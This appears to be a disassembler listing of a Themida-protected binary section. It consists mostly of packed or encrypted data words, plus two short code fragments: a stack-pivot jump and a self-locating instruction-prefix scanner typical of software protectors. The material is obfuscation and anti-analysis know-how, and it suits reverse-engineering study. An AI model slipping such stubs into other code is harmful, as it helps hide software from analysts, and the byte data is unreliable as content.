		dd 0BD704D82h, 23842DC4h, 8C176FFDh, 77BFD42Eh,	12FDB1E6h
		dd 1FBF2BD0h, 7FDE3C67h, 0F82D8E59h, 7E080417h,	0F9E888E4h
		dd 80000005h, 1A389A09h, 0BEDC3E6Dh, 607EE0C7h,	0FF1D7F24h
		dd 0C3BE2083h, 455E243Ah, 0E4C3C5E3h, 841F6482h
		dd 29820422h, 0BCF172C7h, 33D02D01h, 9A19DDF3h,	4361BFECh
		dd 7302643Fh, 3CC2ABDCh, 84AAEB63h, 0B11390F6h,	56B4EF93h
		dd 495C27C7h, 0B6ED9523h, 0A3CD8E25h, 3ADFEB82h, 31DF4814h
		dd 0ADF68C75h, 59B7394Bh, 70B0A8EEh, 0EC000002h, 0DAE31829h
		dd 1A2DC47Bh, 0B2C993B9h, 465D106Eh, 0DFD32A86h, 5D4640E0h
		dd 5E7AA0FFh, 772BC548h, 483CA7DCh, 78000002h, 0AFFE8929h
		dd 64A4BF89h, 2CE83CD3h, 60FDF7Bh, 11ACE1E0h, 0AF2DC50Ch
		dd 62C770Fh, 0A949DA3Bh, 1170CEDDh, 0F0901FEBh,	54B31192h
		dd 15980B2Eh, 0F511D32Bh, 0E7945CB1h, 8D3A7DBh,	0F000002h
		dd 0AAF98929h, 0FDC7ED4Ch, 6A5E3E6h, 0EADF14A5h, 0E62DC47Bh
		dd 7C1DA0D5h, 7A0C2DC4h, 4D73D431h, 10C32182h, 0D32A8593h
		dd 59B4F20Eh, 0A7DC7797h, 1D2D0h, 75E0C00h, 0CA617203h
		dd 0A679C4F6h, 14375DD8h, 2DC51DB1h, 0D184E243h, 0D32B27D2h
		dd 96772F4Bh, 0A7DBD55Ah, 1AA0Dh, 0EC9A4900h, 434361BFh
		dd 5137D768h, 25C2C52h,	7D14A5EDh, 10165E01h, 97ED0DB7h
		dd 0B6EBEA10h, 2BC2D2BAh, 46F957B8h, 33CB337Bh,	6E18CCB6h
		dd 5876D435h, 0DC1B792Ah, 9048782Eh, 15DB3274h,	52AEF430h
		dd 5Eh,	0B00D4253h, 4433CB3Ah, 19BCA42Dh, 96A55BBh, 89291FE3h
		dd 0F04FADFCh, 0A3E300CAh, 17667B12h, 49B19AF7h, 5DEF2423h
		dd 0CF2BC281h, 645D106Eh, 0CD33CA82h, 5F738B5h,	0A4177D78h
		dd 0BEC7E543h, 0E5C0C7E7h, 60466487h, 9A9A860h,	6ECD2B7Ah
		dd 937A2C48h, 0AEF3DD5Dh, 0DB0Ah, 0EC9A4600h, 0ACF08309h
		dd 1E65F4FDh, 69CA2987h, 0F68CAA08h, 3175487Dh,	0E6772DC5h
		dd 0C5310CB1h, 1E7FE02Dh, 39D05FBDh, 1F5EF3D1h,	0D26086DCh
		dd 7B99F7B4h, 6F0FA00Bh, 0D02F8D18h, 58B30A3Fh,	0D8392DC5h
		dd 412FE2B2h, 702DC55Dh, 0E72D716h, 5A23B3FBh, 0B9D168F9h
		dd 0DAD0366Eh, 0BD17E70Dh, 9ACF60A0h, 2BCDB1E9h, 0FEA5DFFFh
		dd 7BB041A0h, 33CCEE42h, 5FF051B2h, 83E1C4BFh, 0CCA10D24h
		dd 0BFBC4696h, 88FA9A99h, 0E79BB91Bh, 0EFB087BCh, 116D7E0Ah
		dd 38B71h, 38771200h, 0D4CFB8D6h, 72315472h, 1592F210h
		dd 0B6ED95B3h, 0BAAC5954h, 5B79DBC8h, 0FE1C7E2Dh, 9EBC1E85h
		dd 459BBE8h, 2F6F4E83h,	6F8533D0h, 0BBE89AABh, 5B2ACA59h
		dd 49AAF98Dh, 0D8668CEBh, 3F93F5AEh, 61BFEC9Ah,	6684343h
		dd 0C47C6D53h, 2B6B882Dh, 5D67659Ah, 0C6D2BC2h,	0D50A1BAAh
		dd 33CAA2E8h, 944EDB52h, 2E8BE792h, 9AE3A7CDh, 1D2EBFECh
		dd 0C47BD5E8h, 90B6172Dh, 0ED9535C4h, 840290B6h, 50859627h
		dd 2DC47C6Dh, 28F81E7Fh, 0E071B1CEh, 0C24BC5ABh, 0F798AF2Bh
		dd 35B87887h, 0E0770869h, 7C0E3C5Dh, 0B783A9DBh, 0CB5EBD04h
		dd 3DDDDC33h, 71005E45h, 0CB5F813Ch, 0B1127333h, 0D6376F8Bh
		dd 0AEF45C1Ah, 2F4Dh, 15E8900h,	113B7001h, 32BC280h, 15B544A2h
		dd 4CDB3970h, 0CA7FA617h, 84E54633h, 80863B5Eh,	0F71333CAh
		dd 79925EAFh, 7D5AEF3h,	11000001h, 7E8FEC9Ah, 0C47C7449h
		dd 6217782Dh, 2DC47C5Bh, 71CF3091h, 644342E2h, 0F381A706h
		dd 0EAFE48Fh, 242DC47Ch, 5A4A5119h, 0CD2E8B98h,	483BDB6Ch
		dd 7AA0FF5Dh, 0EEF690AEh, 4CAA0B98h, 3095582Eh,	0C2853588h
		dd 0C1E2A0C0h, 41A30463h, 0C55CE28Eh, 0B4394D2Dh, 856A4CF9h
		dd 2EBF203Ah, 51AFF48Eh, 0DEFCCCF2h, 0E9DFBA8h,	80F5C8FDh
		dd 8EC32DC4h, 2DC4812Fh, 0E70764C5h, 82A8099Ch,	0CA5B5BB8h
		dd 0C260C395h, 6ED0312Bh, 5C473FDFh, 0F176C36h,	0EF40497Eh
		dd 0D33431D2h, 0C3E0A242h, 84FE9E9Dh, 0E39FBD1Fh, 57C68BC0h
		dd 37938405h, 1DF97h, 84236600h, 28830422h, 0C6DDA8C6h
		dd 693E4664h, 0A99E907h, 0EC0ADA8h, 0AFCD2F74h,	4A68CAD9h
		dd 0EA086A39h, 58AD0F9Ch, 311BA2D7h, 0BBD133D0h, 0FE8929F7h
		dd 0AD0B98F0h, 7A8FED4Eh, 8934AD3Bh, 294FB07Fh,	5ABCE79Bh
		dd 0CC7434CBh, 915E52F7h, 0FAA9DD6Bh, 89294498h, 0E51AABFAh
		dd 2DC47BD8h, 0CB95BB1Ch, 0CCDD6EB6h, 0EF4D562Ch, 5476A90h
		dd 0D32BC280h, 2E544F33h, 0F1A40263h, 33CA7FD0h, 1133CAC9h
		dd 0CB7E92B3h, 707B4277h, 107133CBh, 396D89AFh,	0F4691CD4h
		dd 0B34BAEh, 0B54C0000h, 58F0D07Fh, 0EFBCCA3Fh,	0ABD13291h
		dd 399229E7h, 0D72836D7h, 59503555h, 0E8769CFBh, 89A7059Eh
		dd 994CAAF9h, 2DC528D7h, 1D7F2C5Ah, 0D9AEE8Eh, 0C82D59E7h
		dd 0DB97336h, 46D7383Fh, 0FBBD0035h, 0CE2F2DC4h, 6D82DCA8h
		dd 0F95F9425h, 0EB2BC2DBh, 0B1CE288Ah, 7DABE071h, 4731D375h
		dd 0CDB555E6h, 2C5674D6h, 0DF874277h, 74D08405h, 0CFD4h
		dd 74335600h, 1893F412h, 0B6ED98B6h, 594E3654h,	0FAA9D9F7h
		dd 0FED09D98h, 9FBD1F84h, 3A58BAE9h, 0DAF85A49h, 489DFFACh
		dd 322B92C7h, 0ABC133D0h, 0BBE89AE7h, 0AA4B3B59h, 0A21A6A55h
		dd 0A0026353h, 0FB89294Ch, 8EF886ACh, 0ED99B715h, 0ED025CBEh
		dd 0A402A1E6h, 45A30086h, 932485E6h, 0CFD2645Eh, 0A8399A2Bh
		dd 0E7FB7611h, 7CA25303h, 0B7F492B0h, 544F3755h, 0B03343F6h
		dd 8F3D27E6h, 509CEA17h, 0AA0C6D36h, 0E8D50A1Bh, 0C37D8CFh
		dd 8FF785ABh, 0EC98B614h, 2E59B7h, 0A4D9EAA6h, 37D8D019h
		dd 0C6547ADBh, 445F24C0h, 236381E3h, 8EECBBC9h,	2E8C1770h
		dd 7C0D6ECFh, 5B288AE5h, 172E83E7h, 752B8722h, 0AA769C08h
		dd 30Ah, 65A3600h, 62C0EF9Ah, 0B694244h, 0B10F96EDh, 58B6F593h
		dd 0FD5B483Ah, 0A200A3DFh, 45A30084h, 0E9475E27h, 93F1BCCBh
		dd 4EC831Bh, 89241C89h,	4C381E3h, 83000000h, 1C8704EBh
		dd 11685C24h, 89000075h, 8953240Ch, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2434895Ch, 0AA6CBB53h, 5953060Bh, 348B545Bh
		dd 4C48324h, 8BB53h, 0C3810000h, 0C4D0641h, 0EB81F301h
		dd 0C4D0641h, 8B5B0B89h, 89522434h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 2434FF5Ch, 4C48159h, 0E9000000h, 0FFFAC5C5h
		dd 632CE645h, 2CAD3158h, 4D64CB70h, 0B738B8BCh,	0C503060Bh
		dd 94CFE0FFh, 0CE88519Fh, 7EAF5727h, 7F991A82h,	26426D6Ah
		dd 17A84C66h, 86B70435h, 0AF441ADh, 0C4516DB1h,	0C9454985h
		dd 0BE31831h, 0F3F136F2h, 0F49853CBh, 17166998h, 0D16A363Dh
		dd 784F07ACh, 0C80E019Fh, 2DEB536Dh, 0
		dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 37121703h
		dd 0AFFE979h, 37680000h, 0E9060BB9h, 0FFFAC52Dh, 0BBA7568h
		dd 0C523E906h, 6368FFFAh, 0E9060BBBh, 0FFFAC519h, 0BBC0368h
		dd 0C50FE906h, 0D968FFFAh, 0E9060BBCh, 0FFFAC505h, 0BBDBB68h
		dd 0C4FBE906h, 7F68FFFAh, 0E9060BBEh, 0FFFAC4F1h, 0BC08368h
		dd 0C4E7E906h, 7F68FFFAh, 0E9060BC1h, 0FFFAC4DDh, 0BD1F8EFBh
		dd 5BBDE89Fh, 0FF61483Dh, 0A204A3E1h, 43A5FE84h, 0D9A9BF48h
		dd 3E4A68CAh, 92F10F71h, 0F393B113h, 800156B8h,	0D034724Bh
		dd 0A86C8233h, 7001015Eh, 0CFC4923Bh, 9021822Bh, 9D2AA9F9h
		dd 362C0E7h, 0E0B439ECh, 6B1BBBBAh, 0C6C0DE40h,	63B4CDDh
		dd 33D003B7h, 0EAB6DC3Dh, 0A2337390h, 1278402h,	4BDDCD02h
		dd 0B21331DBh, 0A6058121h, 43602644h, 2E768BE5h, 81D8689Dh
		dd 46E62BC2h, 0A908663Dh, 4FADFC89h, 9EFFCAF0h,	0DE28969h
		dd 0DA7AD67Eh, 92Eh, 25872663h,	0C3258007h, 67C9E0A5h
		dd 0A6C3B49h, 0AB0D96ECh, 7111C7B0h, 0D6B2D032h, 2A5977D9h
		dd 8BFB197Bh, 0E869BE20h, 0D0350AB3h, 10D4EA33h, 61BFEC9Ah
		dd 3384343h, 2DC47BBAh,	1678D93Ah, 0CE5FA7BCh, 7C3588BDh
		dd 92F42DC4h, 0FF5CBB19h, 4479789Eh, 2BC24C2Ch,	0B467C526h
		dd 33CAAC0Dh, 0D736708Ch, 0AEF3A919h, 524Eh, 15E8A00h
		dd 437E9B4Bh, 134F6645h, 236282EFh, 66C72684h, 4FACA0D5h
		dd 0BD1E2BC3h, 0E039D05Fh, 0AC3D6DFBh, 229FC2E8h, 0F33CB69h
		dd 0B5D33174h, 127BD9D0h, 0C67E4264h, 0DF11FCAAh, 11AEF461h
		dd 6D931271h, 0D5E5h, 0E34FE600h, 127F5CC3h, 9ABC80A6h
		dd 4361BFECh, 0E806643Fh, 89A7059Eh, 74497EFDh,	782DC47Ch
		dd 0E6960017h, 0F4E13189h, 22620293h, 83226585h, 0BADA8D5Dh
		dd 0ED2DC526h, 0E2790A99h, 215EA281h, 76466C63h, 17752E58h
		dd 0CF60A0BDh, 24C3AB38h, 204650DFh, 0C104EC21h, 8DEE2BC2h
		dd 74BCD12Bh, 0F72AEE3h, 0DF4031D3h, 61A63D4Eh,	2A5A0639h
		dd 86E4BFC4h, 12A0C627h, 0B3D13370h, 0C99FD4CFh, 9684050Ah
		dd 7F09A3Ah, 64250000h,	0C2C5E345h, 226381E3h, 81032183h
		dd 0E0A2C022h, 996661C3h, 86E8BBC7h, 21832068h,	0C3258003h
		dd 60C2E1A5h, 68558A0Bh, 8C33D036h, 8929B276h, 0EF4EACFBh
		dd 5C473BC9h, 1AADCFAh,	0F1B2D070h, 3E0E3493h, 2D780FAFh
		dd 15E4307h, 113B7001h,	32BC280h, 309144A2h, 6933CA80h
		dd 3CB4594Dh, 2BAEF379h, 0CBh, 0BFEC9A67h, 93BD261h, 0B4F39113h
		dd 0F03A259Dh, 9E463CCAh, 463C1E6h, 29245A3h, 352DC4FEh
		dd 0D2F05251h, 3F99F7B4h, 4051E222h, 1C3FA2Fh, 0C8292DC5h
		dd 0C501AA13h, 5D2A4A2Dh, 3091F04Eh, 1AD60B0Ah,	582BC2DEh
		dd 263B95F7h, 0D9184DDEh, 1B31D37Eh, 0F98929BAh, 0A8B948AAh
		dd 0D2814A73h, 6BFAF02Dh, 0FAB4C375h, 0BD253C9Dh, 0D230B27Bh
		dd 0D1B13F65h, 0D1327113h, 568D89Ch, 87278384h,	702h, 0F1535237h
		dd 97F9B4D3h, 3B9D0C79h, 0DE40671Dh, 7FE1C2C0h,	9DE5FB84h
		dd 286A406h, 5E2543A5h,	0BFC7E547h, 0AC2D82E4h,	0D0374677h
		dd 0CC90A633h, 73959229h, 85E3C2C1h, 7C240F26h,	6B17A5CBh
		dd 0CEB8D638h, 9A1F73D5h, 4361BFECh, 53066843h,	2DC47C6Eh
		dd 0EBE6BB52h, 8D115677h, 40409D67h, 0EE6D7AAFh, 32C32BCFh
		dd 0D00DC0FDh, 92117133h, 0E273D435h, 5674442h,	41459FE7h
		dd 0DC0FD32h, 0D33433D0h, 54B51472h, 3F479CF6h,	0EB7779AEh
		dd 1C7D31CDh, 64C2DE7h,	3EDE3A84h, 662h, 51B3F297h, 0F7595433h
		dd 9BFDACD9h, 3EA0077Dh, 0DF416220h, 3D451BE4h,	0A2E60466h
		dd 0FE85A305h, 5F2745A7h, 0C8DE244h, 0D037E6D7h, 2CF00633h
		dd 61BFEC9Ah, 0A684343h, 4EB3F3A1h, 0F7096B38h,	0A8ED74F9h
		dd 116Eh, 295E6F00h, 2DC48794h,	0DD1F758h, 19518h, 89294400h
		dd 6285ABFAh, 2DC47C5Fh, 0A8397996h, 0CFC43F73h, 0C354B52Bh
		dd 34407DB2h, 53B433D0h, 0F88E2E2Dh, 3477467Bh,	0CABA33D0h
		dd 0BE1F80DDh, 0D6E71C2Dh, 1633D033h, 0A1BF8FB5h, 206810E5h
		dd 8C893469h, 0A6B33CFh, 0E6C93FF3h, 0F8982785h, 3801188Bh
		dd 72153576h, 3602A50h,	2634044h, 922B6071h, 6233CFC0h
		dd 0A7DCDB01h, 31CD9D49h, 3DF52A8Bh, 2840696h, 58C06A6h
		dd 0C8C10000h, 1E6987E9h, 760F2D8Fh, 0D5AFCD2Fh, 344E6CCEh
		dd 65120D6Fh, 32940F73h, 0D5377414h, 77D9CCB7h,	1C7E2D59h
		dd 0AC1146C7h, 4033D037h, 0EC9A662Ah, 0BF208300h, 68434361h
		dd 0B3F3A10Ah, 96B384Eh, 0ED74F9F7h, 2C57F7A8h,	88FD1B79h
		dd 364C321h, 755DDh, 18910000h,	0BAh, 1015E44h,	0C4923B70h
		dd 21822BCFh, 0E95F090h, 1B3A51B0h, 233940Ch, 0B4C5C4EAh
		dd 1D837214h, 70EF0E4Fh, 18FB516h, 0A6C42685h, 0B65C3E0h
		dd 74497EF6h, 0B533CFADh, 1C7BD9D0h, 6CFD5EBFh,	0C4EAB9CCh
		dd 0F51A90C5h, 6FD031DAh, 5B483EDEh, 41ABDBF9h,	0A9086645h
		dd 7390EA48h, 0AC0BA233h, 0B0BF9DB4h, 64C2E1A7h, 7F7EA405h
		dd 0C2CFF64Ah, 5F28C82Bh, 0F2531E44h, 0DA90FBDh, 44E4407Eh
		dd 4AAh, 99FBAADFh, 3FA10C7Bh, 0E3456421h, 86E8BFC5h, 27891A68h
		dd 0F58D432Ch, 5A2E4CAEh, 0B6CDEB4Dh, 176F8DEFh, 54D52A8Ch
		dd 0D0389E1Fh, 74384E33h, 12C18h, 92294400h, 0BD4BFA14h
		dd 0F4BEE4DFh, 0D106979Fh, 2BD0A3FCh, 5EFE8FF0h, 0D9EA7B28h
		dd 0CFD419A4h, 0E97ADB33h, 0CFD409B4h, 648AEB33h, 93107694h
		dd 0D50FA635h, 147786F7h, 0AD0E95EFh, 60A0BD87h, 29109ACFh
		dd 0B6D631DBh, 0E374D5D2h, 40664543h, 0F3903041h, 8AFC8AB0h
		dd 1F30BF21h, 5775D488h, 5F14BDEDh, 2DC47E5Eh, 790D2D8Eh
		dd 1076042Ah, 0B24C3DDDh, 0BF2094F5h, 0AAEA0761h, 0A65CE419h
		dd 35962BC2h, 0D7DE400h, 0B353AF7Eh, 3E6h, 0DD3F6E1Bh
		dd 7BDDC8BFh, 1F81285Dh, 0C2248301h, 63C5DEA4h,	0B9C99F68h
		dd 1E6A88EAh, 72112F91h, 0D3B3D133h, 0A02176D8h, 0D03A526Bh
		dd 0C88CA233h, 2EBFEC9Ah, 40A60F97h, 355BF30Ah,	0B13B4B69h
		dd 1B7AD8D7h, 45F35CBAh, 8DE6A061h, 0C5386558h,	0F26872Dh
		dd 382A7431h, 2A8CEDB1h, 0EE6DD818h, 378FA8h, 5ECB0000h
		dd 3B700101h, 2BC23634h, 1D2EBF20h, 0F5E97286h,	0BDC8485Ch
		dd 0C82988E6h, 737114A2h, 0D6359312h, 60601375h, 0CF33CAF0h
		dd 6C8AECB7h, 8C2C8A19h, 34Ah, 0E31829B8h, 2DC47BDAh, 593B91Ah
		dd 0ABC9277Eh, 506ED0DBh, 3CDC6D36h, 6B375D46h,	2796CBDCh
		dd 0CD2DC47Ch, 7BB6073Ch, 0D5362DC4h, 0C6C04E74h, 55EC7BDDh
		dd 0E13F898Eh, 400A3053h, 1D52E323h, 2BC26F53h,	0FC22081h
		dd 33CA8FB2h, 32DBCBE7h, 0AEF38DBEh, 0D1EC2132h, 2333CA97h
		dd 29149CC2h, 50000000h, 0C3899229h, 0E1C884C6h, 949CF1BBh
		dd 0E7ECE03h, 13742BC3h, 6BF02B5h, 0BEDA33CBh, 0FFCB25E8h
		dd 209CAEF3h, 0D8000001h, 61BFEC9Ah, 6643F43h, 3F469EE8h
		dd 94AB0A68h, 0D76318E0h, 5CED4E1Dh, 7F93EEC5h,	6E94634Dh
		dd 0EA0284A2h, 47A90A99h, 0C4B50094h, 4C572F2Dh, 74D024BBh
		dd 0BCDB3593h, 0C5183687h, 0F455B62Dh, 188F2E63h, 4652DC5h
		dd 0DF7F0EDEh, 3F9EFCA7h, 0FAFB8B19h, 5B288127h, 58659A7Fh
		dd 9C2DC4BBh, 0E879DA3Bh, 9D892051h, 7AA0B875h,	37F1FAEh
		dd 0BDE342A0h, 5969EF3h, 5C822165h, 63B4C5Dh, 2DC502B7h
		dd 93B6DC3Dh, 2BC2E2C5h, 0C22C5BFBh, 2786E4C3h,	0E30968C6h
		dd 0FB55B718h, 0D80D9EE6h, 31D370B1h, 3AD162C3h, 0B3B27B3Dh
		dd 0BDBCE244h, 0AD3E651Dh, 0CAFF760Dh, 2DD280F3h, 173798F9h
		dd 7CDB396Ch, 57F78656h, 0B8177530h, 257E0492h,	5F7DEF0h
		dd 0AD4DA984h, 1E2h, 0D1337217h, 77D9D4B3h, 1B7D2C59h
		dd 0BE2087FDh, 5FC1E2A0h, 0BDC59B64h, 226684E6h, 7E052385h
		dd 0DFA7C527h, 8C0D62C4h, 0D03C6657h, 0AC708633h, 59BBE89Ah
		dd 3984B9CAh, 0BB2DC47Ch, 0E0A6345Ah, 5E0D61C3h, 5F700101h
		dd 82E0C3BFh, 29872464h, 204369CAh, 2BC27F2Ch, 0DB097E9Eh
		dd 409FFDA8h, 0C12281DFh, 8011B063h, 662033CAh,	0C3C1DF3Dh
		dd 0A9D786E4h, 298204FDh, 0B2F410C8h, 0F379955Bh, 0BED2AEh
		dd 290E0000h, 7BDAE318h, 0B91A2DC4h, 22810593h,	11DCA6C4h
		dd 1A4F6D1Eh, 0CA288919h, 0C49A7D17h, 1BDAAC2Dh, 50FA8569h
		dd 0D759550h, 78D93896h, 0E58EF816h, 0C4960DB0h, 1D7EDF2Dh
		dd 80865BFh, 76164277h,	0AB0C2BC2h, 9292EF49h, 0F5CCC01h
		dd 0C52631D3h, 0B5EE9434h, 4A2DC453h, 2DACBB30h, 0D3C7423Dh
		dd 0C92A69F3h, 366D15A3h, 5D2F101h, 0A2429E84h,	0E6h, 0DD3F6E1Bh
		dd 7BDDC8BFh, 1F81285Dh, 0C2248301h, 63C5DEA4h,	0B9C99F68h
		dd 1E6A88EAh, 72112F91h, 0D3B3D133h, 0A02176D8h, 0D03D526Bh
		dd 0C88CA233h, 0DAE31829h, 1A2DC47Bh, 7D0593B9h, 8EF59526h
		dd 321F117h, 72C62883h,	2EBFEC9Ah, 7BD5E81Dh, 0B6172DC4h
		dd 0E0A6C490h, 0EA0761C3h, 0F1E419AAh, 0E32BCFC3h, 84E2C1C3h
		dd 4866C425h, 0E503653Eh, 0A64043A1h, 866C7DCh,	0A6B748A9h
		dd 0D0344C71h, 193FA033h, 63759A4Dh, 0CFB85904h, 2C5876D4h
		dd 0D8F61977h, 3B1F2CEh, 7B285EA3h, 44798A19h, 0A6FBE579h
		dd 66F41A7Bh, 3B8CCD20h, 5A420B41h, 77D9BF9h, 632442A0h
		dd 0BACCEA48h, 0B6E493F1h, 75A3D0F0h, 0C6BF5F31h, 5B2BB9DFh
		dd 0B6D0EE50h, 0F351562Eh, 2A23394h, 6CCB2986h,	3DA7A46h
		dd 6000000h, 0EF9A065Ah, 424462C0h, 96ED0B69h, 0F593B10Fh
		dd 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h, 0BCCBE947h
		dd 561B93F1h, 0BA52E689h, 70D4F39h, 6259EA81h, 0F2812B0Dh
		dd 70512F6Fh, 530ACA81h, 0EAC11C89h, 81D2F705h,	28167F2h
		dd 5AD601FAh, 8704EE83h, 685C2434h, 65A8h, 68243C89h, 0CFCh
		dd 52240489h, 710D06BAh, 0C2834A50h, 0DEE281FFh, 811D022Eh
		dd 9D1C3BF2h, 0E0F28126h, 817CEA31h, 7C9940F2h,	5AD7894Ch
		dd 114D68h, 24248900h, 4240481h, 58000000h, 4EC81h, 3C890000h
		dd 8408F24h, 5324048Bh,	0C381E389h, 4, 4C381h, 1C870000h
		dd 3C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		db 5Bh,	9Fh, 28h
		dd 0DFFEB138h, 0C28AB88Ah, 0C503060Bh, 0BB35E0FFh, 0BB03209Ah
		dd 6C0E00DEh, 3D9E1A6Fh, 287B4CD7h, 519B1237h, 7E863CCh
		dd 9E000000h, 0C8DAB277h, 0CE93B6Bh, 0B9000000h, 0D8D82BDEh
		dd 136A223Fh, 5B1CEC7Fh, 7E9h, 9CEBCD00h, 3735834Bh, 594AC381h
		dd 9E90000h, 38000000h,	0DE6FBFDDh, 7AE4E801h, 68h, 5FA8B600h
		dd 2317BA66h, 803B0C8Bh, 0F18113C8h, 3703315Bh,	81D2B70Fh
		dd 0A8006AE9h, 0CE906h,	0F60000h, 0BDAAE458h, 9C9A9FFDh
		dd 0E981C1A8h, 7F14A592h, 5BE68166h, 12E95196h,	98000000h
		dd 0C5BB79D2h, 0B46C8967h, 45D1725Dh, 0A2AAC363h, 3B048F76h
		dd 39F68166h, 0C3E28097h, 3E84EF81h, 0C781667Bh, 667B3E80h
		dd 0B0FF81F8h, 0FFFFFA7h, 1E85h, 0B70F5200h, 42E95AF3h
		dd 0A5000000h, 0DE7DD447h, 1A94C747h, 0E29CF454h, 177FC4CFh
		dd 0E88EDB40h, 14h, 0F0A010B8h,	14257CC1h, 1CE6F556h, 0BEB1F805h
		dd 0C7C806E0h, 0BCE4DA81h, 0E95A41FFh, 0FFFFFF50h, 0FBD1B081h
		dd 54F27DAh, 0FF8D8D09h, 6A060BC4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 389CC352h
		dd 7DC281B5h, 891C69C8h, 61C01BDh, 6800F06h, 89000000h
		dd 60DFDB5h, 0DD8D8906h, 0F060628h, 0F8Ah, 0AE900h, 0F8040000h
		dd 1FDDD896h, 0FF63A16Dh, 111185C7h, 5CA40606h,	85890000h
		dd 6062B35h, 2E4985C7h,	606h, 0C7810000h, 445FB8A8h, 1325B5FFh
		dd 0B5890606h, 6060DF1h, 79195FFh, 0BE500606h, 3431C4CFh
		dd 0FF006A5Ah, 61AC995h, 0EBC08B06h, 0A9A5A17Ah, 0BAD331A6h
		dd 0FDB7A77Bh, 0BEBEC7C1h, 4D77EFD7h, 0ADE6A43Dh, 2A4BA5DBh
		dd 6CA8614Bh, 0C11C42C5h, 7E9BB8F0h, 6E52CDB3h,	47DD9002h
		dd 6D5AEEDCh, 3847B9EEh, 7E6914B6h, 37DE371h, 62194196h
		dd 0F6CAAA1Bh, 8F17249Dh, 7662828Ah, 0FED33537h, 1FE9E589h
		dd 18B0D299h, 0DE068E5Dh, 42CBE61Ah, 31DEDFF2h,	5DD2B47Bh
		dd 211A2B30h, 2758540h,	79E74E05h, 0E9A31DC6h, 1C8h, 8 dup(418888h)
		dd 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 1, 14h dup(0)
aAcawu		db 'Àcíwu',0
		align 4
		dd 1, 11h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	0C756ED81h, 0C760060Bh
		dd 0BC6A385h, 6, 3E816600h, 850FA166h, 0Fh, 0C6A785C7h
		dd 6060Bh, 24E90000h, 8D000000h, 0BC6AB85h, 858D5006h
		dd 60BC6FBh, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	0A7858900h
		dd 61060BC6h, 0C6A7B503h, 858B060Bh, 60BC6A3h
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A0C13
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A0C1F
; ---------------------------------------------------------------------------

loc_5A0C13:				; CODE XREF: Themida_:005A0BFCj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_5A0C1F:				; CODE XREF: Themida_:005A0C0Ej
		push	ebx
		push	esi
		push	edi

loc_5A0C22:				; CODE XREF: Themida_:005A0C77j
					; Themida_:005A0C93j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_5A0C35:				; CODE XREF: Themida_:005A0C5Cj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60BC80Dh
		lea	ebp, [ebp+60BC683h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A0C62
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A0C35

loc_5A0C62:				; CODE XREF: Themida_:005A0C51j
		cmp	cl, 0Bh
		jz	loc_5A0CBF
		cmp	al, 66h
		jnz	loc_5A0CA0
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A0C22
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A0C98
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A0C22
; ---------------------------------------------------------------------------

loc_5A0C98:				; CODE XREF: Themida_:005A0C85j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_5A0CA0:				; CODE XREF: Themida_:005A0C6Dj
		cmp	al, 67h
		jnz	loc_5A0C22
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A0C22
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A0C22
; ---------------------------------------------------------------------------

loc_5A0CBF:				; CODE XREF: Themida_:005A0C65j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A0CEB
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A0CF0
; ---------------------------------------------------------------------------

loc_5A0CEB:				; CODE XREF: Themida_:005A0CCAj
		movzx	edi, al
		shr	edi, 1

